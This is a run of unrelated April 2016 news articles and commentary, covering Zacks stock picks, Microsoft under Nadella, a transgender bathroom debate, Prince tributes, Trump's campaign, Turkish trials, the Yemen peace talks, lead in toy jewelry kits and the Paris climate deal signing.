Yet for a subset of activists, righteous grievances have not translated into constructive activism. Theyve needlessly alienated a sizable group of their peers, whether because they lost perspective on how they are seen outside their bubbles or underestimated their vulnerability to attack by social justice concepts. Respectability politics is a much maligned term in left-wing activist circlesto a counterproductive degree, Randall Kennedy has arguedyet it seems to me that a new type of respectability politics is the unintended consequence of social justice ideology. If that ideology keeps spreading, successful left-wing activism will have to police itself, on college campuses, to be less confrontational, less silencing, whatever that means, and less aggressive, so that no one feels unsafe. It isnt clear to me that any activism of significance can survive those conditions.

In the end, unreformed social justice activism may destroy itself.

Read more from The Atlantic:

This article was originally published on The Atlantic.


The initial quarter of 2016 was plagued by the same headwinds that had adversely influenced the previous four-quarters. While economic uncertainties prevailed in some major developing and developed nations, soft commodity prices and adverse impacts of unfavorable foreign currency movements kept growth momentum restricted for a few industries.



As a result of the weakening health of the global economy, the International Monetary Fund (IMF) lowered its world economic outlook to 3.2% for 2016 and 3.5% for 2017. Economic growth forecasts for advanced and emerging economies have been lowered by 20 basis points (bps) for 2016 and 10 bps for 2017.



Narrowing down to the U.S. markets, results of all S&P 500 companies released till Apr 20 showed a -9% fall in earnings and a meager +0.6% increase in revenues compared with the year-ago quarter. Conditions are unlikely to improve, with earnings for the S&P 500 companies projected to fall 9.4%, versus 6.1% decline recorded in the previous quarter. Revenues are likely to edge down 80 bps, better than the decline of 3.2% in fourth-quarter 2015.



Industrial Products Stocks: Q116 Any Different from 15 Quarters?



Though the impact of macro headwinds seemed to have eased a bit, we believe industrial products stocks are still negatively influenced by them. Talking of the industrial production in the U.S., an annual fall of 2.2% was recorded in first-quarter 2016 compared with 3.4% in the previous quarter. Also, unfavorable foreign currency movements and economic uncertainties were major concerns for these stocks.



As of Apr 20, roughly 14.3% of industrial products stocks in the S&P 500 Group reported results for the Jan-Mar quarter, recording a mere 1.7% and 1.5% growth in earnings and revenues, respectively. Taking into consideration the prevalent headwinds, earnings for the Industrial Products sector are expected to decline 24.9% in the quarter; while revenues will likely fall 9.4%. Amid such an uncertain environment, choosing the right stocks with a potential to beat earnings estimates can be a daunting task.



Guide to Select the Right Stock



The Industrial Products sector includes containers & glass, industrial products & services, machinery-electrical, machinery and pollution control industries. In this diversified sector, stocks with high investment rankings can be of interest to investors seeking exposure in the sector. But it is advisable to choose stocks with a favorable Zacks Rank of #1 (Strong Buy), #2 (Buy) or #3 (Hold) and a positive Earnings ESP (the percentage difference between the Most Accurate estimate and the Zacks Consensus Estimate), as these two factors increase the probability of a stock surprising estimates in the quarter.



Below we have listed four Industrial Products stocks, currently equipped with the right combination of elements to post an earnings beat for Jan-Mar quarter:



John Bean Technologies Corporation (JBT): The company, has a $1.7 billion market capitalization, and primarily deals with providing solutions to the food processing and air transportation industries. The company has a solid customer base in the U.S. and internationally.



The company, with a Zacks Rank #1 and a positive Earnings ESP of 13.33%, seems a suitable pick for investors seeking exposure in this industry. Moreover, the stock promises solid return of 46.7% on equity and 17.3% on investments. These prospects are again supported by the companys efforts to improve its services and build a sound customer base. Dividend yield presently stands at 0.7%.



The stock is currently valued at a forward P/E multiple of 25.29. The companys solid return profile and estimated 5 year earnings growth rate of 15% improve its prospects.



John Bean Technologies Corporation is expected to release first-quarter 2016 results on Apr 26, 2016 after market closes.



SPX FLOW, Inc. (FLOW): The company is engaged in the distribution of engineered flow components, process equipment and turn-key systems. In addition, the company provides after-market parts and services to its vast customer base in the food & beverage, power & energy and industrial end-markets. Currently, the company has a market capitalization of $1.2 billion.



The stock, with a Zacks Rank #1 and a positive Earnings ESP of 100%, seems a good investment option. In addition, the stock offers return of 7.8% on equity and 3% on assets. Profitability growth is supported by the companys geographically diversified business and a large client base. The stock is currently valued at a forward P/E multiple of 17.68 versus 18.02 for the industry.



SPX FLOW, Inc. will release first-quarter 2016 results on May 4, before the market opens.



Rockwell Automation Inc. (ROK): The company, with a $15.1 billion market capitalization, is an original equipment manufacturer of industrial automation equipment, application specific integrated software and consulting design services.



As suggested, the industrial equipment maker is worth considering as it carries a favorable Zacks Rank #3 and a positive Earnings ESP of 3.03%. Also, the stock promises solid returns of 35% on equity and 21.5% on investments. Prospects are supported by the companys efforts to diversify its sales stream, improve quality and build a sound partner network. Dividend yield currently stands at 2.52%.



The stock is currently valued at a forward P/E multiple of 19.71 versus 19.10 for the industry. Despite this, the companys solid return profile, low debt position, debt-to-equity of 66.8% as compared with 151.7% for the industry and estimated 5-year earnings growth rate of 7.59% enhances its investment value.



Rockwell Automation is slated to release second-quarter fiscal 2016 (ended Mar 2016) results on Apr 27, before the market opens.



Regal Beloit Corporation (RBC): The company is engaged in manufacture and distribution of electric motors, electrical motion controls, and power generation and transmission products. The company has a vast client base in the U.S. as well as in foreign markets. Currently, the company has a market capitalization of $3 billion.



The stock, with a Zacks Rank #2 and a positive Earnings ESP of 0.92%, seems a good investment option. In addition, the stock offers return of 11.9% on equity and 6.3% on investments. Profitability growth is estimated at roughly 9.67% for the coming five years. The stock is currently valued at a forward P/E multiple of 13.38 versus 18.02 for the industry.



Regal Beloit Corporation will release first-quarter 2016 results on May 9, after the market closes.



Going Forward



Effective governmental policies as well as huge investments in infrastructure development can improve industrial products demand and also create new jobs. Until we ride through the difficult economic environment, choosing some possible winners on the basis of a solid Zacks Rank and a positive Zacks Earnings ESP might work wonders for some interested investors this earnings season.





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JOHN BEAN TECH (JBT): Free Stock Analysis Report



SPX FLOW INC (FLOW): Free Stock Analysis Report



ROCKWELL AUTOMT (ROK): Free Stock Analysis Report



REGAL BELOIT (RBC): Free Stock Analysis Report



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Screenshot John Lilly Greylock Mozilla

A few years ago, Silicon Valley thought that Microsoft was toast. Comments like this one from entrepreneur and professor Steve Blank were typical: "Microsoft is the living dead. Microsoft is a standing joke now in the technology business."

There were many more conversations like that in private.

How times have changed.

These days, people often mention how impressed they are with new technologies like HoloLens, give grudging respect to Azure (Microsoft's cloud competitor to Amazon Web Services), and joke about how "Microsoft" and "innovation" would never have been heard in the same sentence a few years ago.

John Lilly, a venture capitalist at Greylock, crystallized the reason for this change in an interview with Vanity Fair:

But Microsoft, especially under Satya Nadella, has been an interesting company to watch. For 20 or 25 years they had a massive distribution advantage, but now they don't....And under the old regime they would have said, "Well, we're going to pretend like we still have a distribution advantage, and we're not going to release Office on iPad or Office on iPhone." But one of the first things that Satya did when he got there was he released Office on iPhones and iPad. That's the first step toward them trying to act like a company that doesn't have privileged distribution.

The old Microsoft could afford to be arrogant. When you own the only end-user computing platform that matters, you don't have to cooperate with anybody you don't want to cooperate with. You call the shots, and everybody has to work with you.

But now that smartphones have broken that monopoly, you see Microsoft playing nice with all of its former rivals: Linux, Salesforce, Apple. Today, Microsoft even made a tentative peace with Google, which has been one of its fiercest rivals for more than a decade, as the two companies agreed not to complain to the government about each other but compete only in the marketplace.

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That kind of power can also make you a little bit lazy. Lilly worked at Mozilla, makers of the Firefox browser, in the early 2000s, and as he points out later in the interview, the only reason Firefox was able to crack the Microsoft monopoly on browsers was because the company didn't really pay attention:

Microsoft didn't understand what we were up to at Mozilla until Firefox had 8 or 10 percent of the browser market, and by the time they recognized we were doing something that mattered, we were off to the races.

Make no mistake: Microsoft didn't change because Nadella is some kind of gentle genius compared to his predecessor. Microsoft changed because it realized it had to.

As Lilly concludes: "I find the whole thing fascinating, and I don't know how it's going to turn out. Twenty-five years of privileged distribution is a lot to unlearn."

NOW WATCH: 6 cool things the Microsoft Surface pen can do





More From Business Insider


Kristi Merritt attempts to make a point. (Photo: Fcebook)

Kristi Merritt of Lakewood, Wash., has one less social media outlet to kill time on after going on a viral Facebook rant. Merritt posted a series of images in defense of anti-transgender policies, which ban trans people from using the bathroom of the gender they identify as. According to KREM 2 News, Merritt shared photos of herself dressed as a pirate, in a Russell Wilson jersey, and in a sombrero clutching a bottle of beer (her questionable interpretation of what a Mexican person looks like) to make the point that dressing up as something doesnt make you that thing. Therefore, her logic goes, transwomen arent really women  just biological men dressed in womens clothes  and therefore should not be able to use the same bathroom as cisgender women.

A man in womens clothes does not make him a woman. Men should not get to be in our bathrooms or lockers! Merritt wrote, noting that she put together the photo series because Ive been growing more and more frustrated with the bathroom issue. Wow  homegirl must have quite a carefree life if her biggest worry is that someone peeing in the stall next to her may not have the same biology as she does. We should all be so unburdened.

Washington State has adopted a bill that allows transmen and transwomen to use the bathroom that matches their gender identity. Opponents of the law often defend their position by claiming that allowing trans people to use the bathrooms they choose is opening the door for predators to attack women and children in their private spaces, a claim that seems to have no bearing in reality.

Merritts post went viral, and naturally, there were lots of people not too pleased with her stance. Indeed, people were so offended that Facebook deemed her post a violation of their policies and suspended her account for a short time. Merritt posted images of the threatening messages she was getting from people who disagreed with her,and says that Facebook did not deem them in violation of their community standards. Merritt believes Facebooks assessment is unfair.

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Merritts argument is a popular one among folks who are against trans people using the bathrooms they want to. Womens safety is important, but what about transwomens safety? Wouldnt a transwoman be in danger using the mens bathroom? Why should they be put in a situation where they can be preyed upon, all because of transphobic logic? The argument that we need to protect women and children seems a bit ridiculous in this instance, especially when you consider women are at risk of attack wherever they go. Should there be laws barring women from going to the same nightclubs as men, because there may be predators there looking to spike their drinks? Or perhaps we should create a law where men and women have to use separate train cars, in order to decrease the risk of getting groped (or worse) on your morning commute.

The point is, there are plenty of public places for predators to attack women, none of which are regulated in the way the pro-bathroom-bill set wants to regulate the restroom. If people are really that concerned with protecting women from unsavory men, perhaps they should consider educating these men and letting them know that assaulting women is NOT OK.

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It seems everyone is feeling the loss. All over the world tributes are popping up honoring Prince, who died Thursday at the age of 57.



In Brooklyn, director Spike Lee hosted a dance party and led a Prince sing-a-long at an event he dubbed, "PRINCE We Love You Shockadelica Joint." Attendees, including the police officers securing the scene, were dancing and singing to "Let's Go Crazy," "Little Red Corvette," and "Purple Rain." "It gave me chills," said an onloooker.





Tributes Across the World (and Even Outer Space!) Honor the Late Prince| Death, Tributes, Music News, Prince











Tributes Across the World (and Even Outer Space!) Honor the Late Prince| Death, Tributes, Music News, Prince





In Harlem, mourners gathered outside the Apollo Theatre to dance along to Prince's most iconic tunes in celebration of his life and music.



And in Prince's hometown of Minneapolis, fans paid their respects outside his Paisley Park compound, where he lived, worked and ultimately died. A huge crowd also gathered outside the First Avenue club, where Prince first broke through and where he also recorded the film Purple Rain. They came in droves, some carrying purple flowers, balloons and many shedding tears.





Tributes Across the World (and Even Outer Space!) Honor the Late Prince| Death, Tributes, Music News, Prince





Buildings were also lit up in Prince's signature color. The Eiffel Tower in Paris, the Melbourne Arts Centre spire in Australia, the Empire State Building in New York City, City Hall in Los Angeles, the Mercedes-Benz Superdome in New Orleans all lit up in purple.





Tributes Across the World (and Even Outer Space!) Honor the Late Prince| Death, Tributes, Music News, Prince





Tributes even reached outer space. NASA Tweeted an image the Crab Nebula in purple, as viewed by the Hubble telescope.





Tributes Across the World (and Even Outer Space!) Honor the Late Prince| Death, Tributes, Music News, Prince





Authorities are still investigating Prince's untimely death. He was found unresponsive in an elevator at his Paisley Park estate in Chanhassen, Minnesota early Thursday morning. Around 9:45 a.m. a call was made to the sheriff's department requesting medical attention at the home. Less than 25 minutes later Prince was pronounced dead.



 Additional reporting by GILLIAN TELLING
By Steve Holland and Amanda Becker HOLLYWOOD, Fla./WASHINGTON (Reuters) - Top advisers to Donald Trump assured Republican Party leaders on Thursday that the New York billionaire would adopt a more presidential demeanor soon, to temper the image projected during his campaign so far. Trump's representatives, including newly recruited senior advisers Paul Manafort and Rick Wiley, met privately with leaders of the Republican National Committee at an oceanside resort hotel where the party is holding a three-day meeting. The part that hes been playing is now evolving into the part that youve been expecting. The negatives will come down, the image is going to change," Trump senior adviser Paul Manafort assured the party leaders, according to an audiotape of the session heard by Reuters. Trump has been "projecting an image" to energize voters, Manafort said, adding that he will soon concentrate on "crooked Hillary," the nickname that Trump has given to Democratic favorite Hillary Clinton. "You'll see a different guy," said Manafort. But in Harrisburg, Pennsylvania, Trump suggested he was not ready to change from the style that has brought him close to the Republican presidential nomination. "I just don't know if I want to do it yet," he said. In recent weeks, Trump has railed against the party for developing what he said was a "rigged" system in which Cruz was able to amass delegates in Colorado without Republicans actually voting. Chatting over shrimp, crab legs and an open bar, Trump's advisers expressed confidence that their candidate would win the Republican presidential nomination without the party having to resort to a contested convention in Cleveland in July, according to three attendees. Trump, 69, needs 1,237 delegates to win the nomination outright for the Nov. 8 election. Rivals Ted Cruz, 45, and John Kasich, 63, are trying to stop him from getting a majority of delegates, so they can force a contested convention in which one of them could emerge as the nominee. Cruz told a conservative talk radio host, Mark Levin, that Manafort's comments show that Trump's campaign style "is just an act." Party leaders told reporters after the session that Trump's envoys said Trump, as the Republican nominee, would be able to expand the party's electoral map to include several states Republicans have not won in a general election in a generation. One attendee, South Carolina Republican Party Chairman Matt Moore, said the Trump team told the group it expected Trump to adopt a "more presidential demeanor" over the next few weeks.Moore said he was taking a wait-and-see attitude on whether Trump would change. "The proof is in the pudding," he said. Manafort told reporters after the meeting that "we talked about how we're going to expand the map." As for how to change the negative image some voters had of Trump, Manafort said: "We just have to present him in a way that shows all sides of Donald Trump." 'STOP FIGHTING AMONG OURSELVES' Former presidential candidate Ben Carson, the retired neurosurgeon who has endorsed Trump, also addressed the group. Talking to reporters as he walked into the meeting, Carson said his message was that Republicans should "stop fighting among ourselves" and unite behind Trump. I dont think anyone can win if the Republican Party and the conservatives dont consolidate," he said. Trump, who has alarmed some establishment Republicans with his comments on immigration, Muslims and trade, has begun to moderate his message in recent days. Trump's campaign has hired staff versed in the ways of Washington and has begun holding regular meetings on Capitol Hill with current and potential supporters. Trump clashed again on Thursday with Cruz, a U.S. senator from Texas, this time over a North Carolina law passed last month requiring transgender people to use government and school bathrooms that correspond with the sex on their birth certificates. During an appearance at an NBC "Today" show town hall, Trump sided with critics of the law, passed by a Republican-controlled legislature, saying it was unnecessary and that North Carolina was "paying a big price" because of negative business reaction. His comments drew immediate criticism from Cruz, a staunch social and fiscal conservative who supports the law and said Trump had caved to political correctness as he seeks to broaden his appeal. (Reporting by Steve Holland and Amanda Becker; Additional reporting by Richard Cowan and Ginger Gibson; Editing by Frances Kerry, Peter Cooney and Simon Cameron-Moore)
Istanbul (AFP) - A Turkish court on Friday freed four academics from jail on the first day of their trial for spreading "terrorist propaganda", as prosecutors moved to scale back the charges against them.

The four, on trial for signing a petition denouncing the government's military operations against Kurdish rebels, were released "pending permission from the justice ministry" to change the charge, lawyer Benan Molu told AFP.

Under the original charge, Esra Mungan Gursoy, Meral Camci, Kivanc Ersoy and Muzaffer Kaya faced up to seven-and-a-half years behind bars.

But prosecutors now want to slap them with charges under Article 301, a law which states that "denigrating Turkishness" is a criminal act -- which carries a maximum sentence of two years in jail.

Supporters in court applauded as they walked free, with the judge setting setting the next hearing for September 27.

Earlier, Kaya had fiercly defended the petition, telling the court that the state had "not managed to stifle the voices of our conscience" and that they had been arrested for "criticising political power", Dogan news agency said.

"You may find our petition ridiculous, but you can never say we were spreading terrorist propaganda. Acquit me," he said.

Riot police had stood guard outside the courthouse in central Istanbul, where the academics' trial had followed a morning hearing in the case of two journalists accused of divulging state secrets.

- 'A pit of treachery' -

Some 500 people had gathered at the court to support both the journalists and the scholars, with protesters holding up placards reading "Freedom for the academics" and "Freedom for the pencils".

The petition had urged Ankara to halt "its deliberate massacres and deportation of Kurdish and other peoples in the region", infuriating Erdogan who accused them of falling into a "pit of treachery".

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The four stood accused of engaging in "terrorist propaganda" and "inciting hatred and enmity" for not only signing the plea but making a statement on the same lines on March 10, a day before the petition was published.

They had been held in high-security closed prisons in Istanbul since their arrest last month.

As well as signees from over 90 Turkish universities, the petition was also endorsed by dozens of foreigners, among them American linguist Noam Chomsky and the Slovenian philosopher Slavoj Zizek.

Turkey is waging an all-out offensive against the separatist Kurdistan Workers' Party (PKK), with military operations backed by curfews aimed at flushing out rebels from several southeastern urban centres.

But Kurdish activists say dozens of civilians have died as a result of excessive force.

- 'A step toward acquittal' -

The decision to haul scholars and journalists into court has deepened unease over freedom of expression under the increasingly-autocratic Erdogan.

The US and European Union have already expressed concern over the trial of Dundar and his Ankara bureau chief Erdem Gul who face life behind bars over a story accusing the government of seeking to illicitly deliver arms to Islamists in Syria.

Friday's hearing was dedicated to the prosecution's request to merge the journalists' trial with another in which former politicians and intelligence officials are accused of trying to overthrow the government -- a request the court denied.

"Their plan was smashed to bits. We are journalists and have nothing to do with that case, the court confirmed that.

"I think we made a step towards acquittal," Dundar said as the hearing ended. The next hearing was set for May 6.

In the 2016 World Press Freedom Index, Turkey slipped two places to 151 out of 180, Reporters Without Borders said Wednesday, citing the president's "offensive" against the media and his critics.

Almost 2,000 people have been prosecuted for "insulting" Erdogan since the former premier became president in August 2014, Turkey's justice minister said in March.
DIYARBAKIR, Turkey (Reuters) - Four rockets hit the Turkish town of Kilis near the Syrian border on Friday, killing two people and injuring four, security and hospital sources said. German Chancellor Angela Merkel is expected on Saturday to visit the town of Gaziantep, 30 minutes drive from Kilis. Kilis is just across the border from an Islamic State-controlled area of Syria and has come under repeated attack in recent weeks. A young child and another person were killed last month when rocket fire hit the Turkish town from across the Syrian border. The rockets on Friday landed near the town center, local Dogan News Agency said. Sources said the military retaliated with shelling. (Reporting by Seyhmus Cakan and Hamdi Istanbullu; Writing by David Dolan and Dasha Afanasieva; editing by Ed Osmond)
Ankara (AFP) - Three Katyusha rockets fired from neighbouring Syria landed in a Turkish border town Friday, leaving two people dead and four wounded, according to local media reports.

The rockets hit Kilis, which has come under repeated fire from areas controlled by the Islamic State (IS) group in recent weeks.

Six people were hurt in the attack, which happened at around 1600 GMT according to the Dogan news agency.

Two of those wounded later died in hospital, it said. A government official was not immediately available for comment.

Kilis is the only town in Turkey where refugees from the war in Syria now outnumber Turkish locals. On Monday, rockets killed four Syrians there, including three children.

Turkey's top general Hulusi Akar and powerful intelligence chief Hakan Fidan made a rare public visit to the town last week while Prime Minister Ahmet Davutoglu has also vowed to protect the town.

The rocket fire has drawn retaliation from the Turkish army over the past weeks, with shelling of IS-controlled areas.

Neither the Islamic State group nor the Al-Qaeda-affiliated Al-Nusra Front are included in a Syria truce brokered by the United States and Russia that came into force on February 27.

In mid-February, Turkish artillery also shelled targets of the Syrian Kurdish Democratic Union Party (PYD) inside Syria but there have been no further reports of such fire since the ceasefire came into effect last month.
Istanbul (AFP) - Disgraced tycoon Asil Nadir, jailed for stealing millions from his Polly Peck empire, was released from a Turkish prison Friday just one night after being extradited from Britain, media reports said.

The Turkish Cypriot was convicted in 2012 of purloining nearly A29 million (37 million euros) -- the equivalent of more than A70 million in today's terms -- from the major UK conglomerate in the late 1980s.

He was sentenced to 10 years by the Old Bailey and ordered to pay A5 million in compensation.

He was flown out of Britain Thursday after paying the compensation and another A2 million in legal aid.

But he was released Friday after spending just one night in Istanbul's Silivri prison, the Hurriyet Daily said.

The 74-year old's sister Bilge Nevzat thanked Turkish President Recep Tayyip Erdogan and the foreign minister for their efforts in securing her brother's extradition and release, the daily said.

Foreign Minister Mevlut Cavusogly was quoted as saying the family had made a personal request to Erdogan, and noting that "concerning the crime, there were some differences between Britain and Turkey".

A spokesperson for Britain's ministry of justice said the case was now "a matter for the Turkish authorities".

"Under the Prisoner Transfer Agreement, Turkish authorities are entitled to decide whether those sent back continue to serve their sentences in normal prisons, on licence or under house arrest," the spokesperson said.

Nadir built up the company from a small textile firm into a sprawling empire with interests ranging from fruit to electronics, but it collapsed in 1990 with debts of A550 million.

He was arrested following its collapse but three years later fled to the breakaway Turkish Republic of Northern Cyprus (TRNC), which does not have an extradition treaty with Britain.

He returned 17 years later vowing to clear his name, but in 2012 was found guilty of ten counts of theft and sentenced to ten years in jail.

During his seven-month trial, the flamboyant Nadir was driven to hearings in a limousine and lived in a A23,000-a-month house in London's exclusive Mayfair district, but told the compensation court he was penniless.
By Mohammed Ghobari KUWAIT (Reuters) - Yemen's warring factions held their first direct talks in a U.N.-backed peace process on Friday and will meet again despite failing to agree on an agenda, participants said. The United Nations envoy, Ismail Ould Cheikh Ahmed, said the meetings in Kuwait had been constructive and the positive atmosphere was a step forward in efforts to end the conflict. They discussed a more permanent ceasefire in Yemen and how it would be implemented, he said. The talks, which opened late on Thursday, seek a solution to a war which has killed more than 6,200 people, triggered a humanitarian crisis and enabled al Qaeda and Islamic State militants to consolidate their presence in the country. They bring together the Iran-allied Houthi movement, who control the capital Sanaa, and its General People's Congress (GPC) allies with the Saudi-backed government of President Abd-Rabbu Mansour Hadi, based in the southern port city of Aden. "The meetings held today were constructive and the atmosphere is an important advancement," Ould Cheikh Ahmed told a news conference. "We will intensify our efforts." But sources present at the talks, delayed since Monday due to the late arrival of the Houthi delegation and its allies, said the two sides continue to be divided on the priorities. The government delegation wants Houthis and fighters loyal to former president Ali Abdullah Saleh to withdraw from cities and hand over weapons before discussing a political solution, the sources said. The Houthis and its allies want the formation of a new government representing all parties, which will then oversee disarmament. They also want to focus the discussion on security arrangements and detainees, the sources added. The sources declined to be named because the talks, being held at the palace of Kuwait's ruling emir, are closed to the media. A temporary truce between the government and Houthis has mostly held in place since April 10 in preparation for the talks although both sides have accused each other of violations. The Yemen conflict began in September 2014 when the Houthis seized Sanaa. A Saudi-led Arab alliance intervened in March last year, launching a campaign of mostly air strikes against the Houthis in support of Hadi's forces. (Writing by Sylvia Westall; Editing by Angus MacSwan)
By Lesley Wroughton NEW YORK (Reuters) - The United States is not opposed to foreign banks doing business with Iran in line with the terms of last year's historic nuclear deal between Tehran and world powers, U.S. Secretary of State John Kerry said on Friday. "The United States is not standing in the way, and will not stand in the way, of business that is permitted in Iran since the (nuclear deal) took effect," Kerry told reporters before meeting with Iranian Foreign Minister Mohammad Javad Zarif. Kerry said he was trying to clear up uncertainty in the business community outside the United States about investing in Iran. The Iranian government has complained about not getting the full economic fruits of the July 14, 2015 nuclear deal. "There are now opportunities for foreign banks to do business with Iran," Kerry said in New York, where he attended a U.N. signing ceremony for the Paris climate accord. "Unfortunately there seems to be some confusion among some foreign banks and we want to try and clarify that." "Among the nuclear-related sanctions that were lifted were those that prevented Iran from engaging with non-U.S. banks, including getting access to Iran's restricted funds," Kerry said. The only exceptions, he added, would be banks and companies blacklisted by U.S. authorities. He said it was understandable that some companies might need time to feel confident about doing business in Iran, noting that Tehran also needed to take steps to modernize its banking system. The nuclear agreement between Iran and six world powers allowed for the easing of some sanctions imposed by the United States, European Union and United Nations in return for Tehran curbing its nuclear program. Tehran has called on the United States to do more to remove obstacles to the banking sector so that businesses feel comfortable with investing in Iran without penalties. 'SERIOUS DIFFERENCES' Western firms also are wary of doing business in Iran because of the prospect that seemingly innocent local companies could have links to banned entities controlled by the increasingly powerful Islamic Revolutionary Guard Corps (IRGC), economists and officials say. Zarif said he hoped Kerry's clarification would help, though he noted that "we will continue to have differences with the United States." "We hope that with this statement by Secretary Kerry .... now we will see serious implementation of all (nuclear deal) benefits that Iran should (enjoy) from this agreement," Zarif said. He added that Tehran hoped Kerry's words would "open the difficult path that has been closed because of concerns that banks have about the U.S. approach toward implementation of commitments" under the nuclear deal. Kerry said there remained some "serious differences" with Iran on implementing the deal. "Those have to be the subject of future discussion, but its important for people to understand that an agreement is an agreement," he said. Zarif and Kerry met earlier this week at the U.N. to discuss sanctions relief. Current U.S. policy bars foreign banks from clearing dollar-based transactions with Iran through U.S. banks. But U.S. officials have said the Obama administration is considering ways in which non-U.S. companies could use the dollar in some business transactions with Iran. (Additional reporting and writing by Louis Charbonneau; Editing by Paul Simao)
By Jonathan Stempel

(Reuters) - The top U.S. consumer product safety regulator is reviewing whether to recall widely sold toy jewelry-making kits after a New York state probe determined that the products contain dangerously high levels of lead.

Elliot Kaye, who chairs the U.S. Consumer Product Safety Commission, said on Friday that he is examining the safety of Cra-Z-Art kits after New York Attorney General Eric Schneiderman called on several big retailers to pull them from store shelves.

The attorney general said sets that his office tested included wristbands with lead levels as high as 980 parts per million, far exceeding the 100-part federal limit for children's products.

He said he sent letters to Amazon.com Inc, Sears Holdings Corp's Kmart, Target Corp, Toys "R" Us, Wal-Mart Stores Inc and other retailers, demanding that they stop selling and recall the sets, which his office said were made in China.

A similar demand was made to LaRose Industries LLC, a Randolph, New Jersey-based company that distributes Cra-Z-Art.

"Just hours after receiving information about these jewelry making kits, CPSC staff opened an investigation into the safety of these products," Kaye said in a statement. "CPSC's investigation will be thorough and swift, and we will certainly take all warranted steps to protect the public."

The commission typically works with companies to arrange voluntary recalls and can file lawsuits if that cannot be accomplished. Schneiderman cannot order a nationwide recall.

LaRose did not immediately respond to a request for comment.

Wal-Mart said it requires suppliers to meet "all applicable" standards, and that "out of an abundance of caution, we are removing these items from our stores and online inventory."

Toys "R" Us, also citing caution, said it is "working to pull the items from our stores and website."

Kmart said it would cooperate with the attorney general and is committed to safety. Target said it is reviewing the matter, and is also committed to safety. Amazon did not immediately respond to requests for comment.

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The 10 Cra-Z-Art sets that were tested had been purchased at nine Kmart, Target and Toys "R" Us stores in New York.

The products include Shimmer N' Sparkle Cra-Z-Art Cra-Z-Jewelz Gem Creations Ultimate Gem Machine, Shimmer N' Sparkle Cra-Z-Art Cra-Z-Jewelz Gem Creations Gem Charm and Slider Bracelets, and My Look Cra-Z-Art Cra-Z-Jewelz Gem Creations Ultimate Gem Machine.

(Reporting by Jonathan Stempel in New York; editing by Lisa Von Ahn and Cynthia Osterman)
NAIROBI (Reuters) - The Ugandan shilling held steady on Friday, with month-end inflows and scarce liquidity expected to lend extra support to the local currency next week. At 0937 GMT commercial banks quoted the shilling at 3,305/3,315, unchanged from Thursday's close. "The shilling is likely to extend it's stability ... as the month-end flows are expected to render some support," Alpha Capital Partners said in a market report. (Reporting by Elias Biryabarema; Editing by George Obulutsa)
United Nations (United States) (AFP) - A record 175 countries, including the world's top polluters China and the United States, signed the Paris climate deal Friday, boosting hopes of quick action on combating global warming.

French President Francois Hollande was the first leader to put his signature to the accord during a ceremony at the United Nations, followed by leaders from island-states hardest hit by climate change.

US Secretary of State John Kerry came to the podium cradling his two-year-old granddaughter Isabelle and triggered warm applause from delegates as he signed the historic deal.

It was the largest ever one-day signing of an international agreement.

Held on Earth Day, the ceremony comes four months after the hard-won deal was clinched in Paris and marks a first step toward binding countries to the promises they made to cut greenhouse gas emissions.

"This is a moment in history," UN Secretary-General Ban Ki-moon told leaders gathered at the UN General Assembly.

"Today you are signing a new covenant with the future."

Holdout countries still have a year to sign the deal, but the focus has now turned to swift ratification and entry into force before the target date of 2020.

The Paris agreement will come into force when 55 countries responsible for 55 percent of the world's greenhouse gases have ratified it.

Together the signatories at the UN ceremony account for 93 percent of global greenhouse gases, according to calculations by the World Resource Institute.

France's parliament will give final approval before this summer, Hollande said, urging the 28-nation European Union to "lead by example" and ratify the deal before the end of the year.

Momentum is building to ensure the agreement enters into force quickly.

China and the United States said they will ratify this year and are pushing for others to follow suit so that the agreement becomes operational possibly as early as late 2016 or in 2017.

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Caught in election-year turmoil, the United States plans to ratify the Paris accord with an executive agreement, bypassing the Senate and setting up a complex process for any future president wishing to pull out.

- World now watching -

Canada's Prime Minister Justin Trudeau said he would ask parliament next month to endorse the accord with a vote this year and pledged to help developing countries confront the challenge.

"They shouldn't be punished for a problem they didn't create nor should they be denied the opportunities of clean growth," said Trudeau, drawing loud applause.

Actor and environmental campaigner Leonardo DiCaprio urged leaders on, telling them: "The world is now watching".

"You will either be lauded by future generations or vilified by them," he said.

A total of 15 countries or parties, most of them island-states, formally presented the completed ratification to the United Nations.

"Some may say it's only a small step. We need to make it a huge one," said the prime minister of the Polynesian island of Tuvalu, Enele Sosene Sopoaga.

Agreed by 195 nations, the Paris deal sets the goal of limiting global warming to "well below" 3.6 degrees Fahrenheit (two Celsius) above pre-industrial levels, by moving to clean energy.

Ban stressed that the window for keeping the global temperature rise in check was rapidly closing.

Last month was the hottest March in modern history and 2016 is shaping up as a record-breaking year for rising global temperatures.

This year's El Nino -- dubbed "Darth Nino" -- is wreaking havoc, with droughts, floods, severe storms and other extreme weather patterns.

The signing ceremony was seen as a triumph for Ban, who pushed for the deal throughout his tenure and has listed the agreement in Paris as one of his proudest moments as UN chief.
HOLLYWOOD, Fla.  When it comes to Republicans nominating their next president, it looks like rules weren't made to be broken  at least not yet.

Members of the Republican National Committee skirmished here Thursday over the way they'll run their July presidential nominating convention in Cleveland.

The RNC's Spring Meeting has drawn an unusually high level of attention as the GOP stares down the possibility that none of the remaining presidential candidates  Donald Trump, Ted Cruz and John Kasich  will win enough delegates in the primaries to claim rights to the nomination.

That sets the scene for the potential chaos and horse-trading of the first contested GOP convention since 1976.

As of Thursday, the second day of the RNC meeting at a resort in south Florida, Trump had won 845 of the 1,237 delegates the GOP nominee needs. Per a RealClearPolitics tally, Cruz has 559 and Kasich has picked up 148.

Source: Joe Raedle/Getty Images

The stakes are high enough that in addition to putting top aides and supporters into circulation to woo RNC members, both Cruz and Kasich made personal appearances to present their cases for a win to the party and to the press.

Trump remained on the campaign trail on Thursday, trying to keep up the momentum of a big primary victory in his home state of New York, but dispatched senior team members Paul Manafort and Rick Wiley to Florida to make a formal presentation to the party rank and file.

Which rules rule? National Committeeman Solomon Yue of Oregon proposed running the convention under Robert's Rules of Order  a switch from the traditional use of the more complex House rules.

Republican National Committeeman Solomon Yue of Oregon.

Which set of rules ultimately rules is more than a procedural quibble: By most interpretations, a switch from House to Robert's would make it harder for GOP "establishment" leaders to advance a so-called "white knight" candidate if consensus can't be reached at the convention after rounds and rounds of voting.

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"This is a [politically] supercharged year. and we can't afford to have another incident like we had in 2012," Yue said, in a reference to the controversy over an effort to nominate Ron Paul at that year's GOP convention.

"That will blow up the convention and this party as well as cause us to lose, in November, the White House fight," Yue explained. "We lose the White House fight in November, we give Obama a third term to complete his radical transformation of America. I don't think I want to see that, especially as an immigrant [who] found freedom in this country and found this party as a home."

